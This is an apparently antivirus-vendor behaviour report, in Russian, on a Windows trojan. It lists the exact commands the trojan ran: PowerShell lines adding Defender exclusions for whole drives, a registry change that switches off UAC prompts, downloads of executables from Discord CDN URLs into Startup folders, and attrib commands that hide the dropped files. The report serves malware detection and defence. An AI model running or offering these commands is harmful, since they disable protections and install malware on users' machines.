Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionExtension ".tmp"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionProcess "svchost.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "D:\"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "E:\"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionProcess "server.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionProcess "RuntimeBroker.exe"
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\tmp5f7d.tmp.bat
- nul
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp5F7D.tmp.bat""
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command add-MpPreference - ExclusionProcess "SteamHelper.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri https://cdn.discordapp.com/attachments/1142433812895240304/1142435221636124744/svchost.exe -OutFile $env:appdata'\Microsoft\Windows\Start Menu\Programs\Startup\...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri https://cdn.discordapp.com/attachments/1142433812895240304/1142435221636124744/svchost.exe -OutFile $env:localappdata\Microsoft\RuntimeBroker.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri https://cdn.discordapp.com/attachments/1142433812895240304/1149737881716412426/cnhost.exe -OutFile $env:localappdata\Microsoft\cnhost.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process -FilePath $env:localappdata\Microsoft\RuntimeBroker.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process -FilePath $env:localappdata\Microsoft\cnhost.exe"
- '<SYSTEM32>\attrib.exe' +h "%LOCALAPPDATA%\Microsoft\RuntimeBroker.exe"
- '<SYSTEM32>\attrib.exe' +h "%LOCALAPPDATA%\Microsoft\cnhost.exe"
- '<SYSTEM32>\attrib.exe' +h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Discord.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri https://cdn.discordapp.com/attachments/1128751567240175647/1149998783262900255/settings.txt -OutFile $env:temp\settingsss.txt"
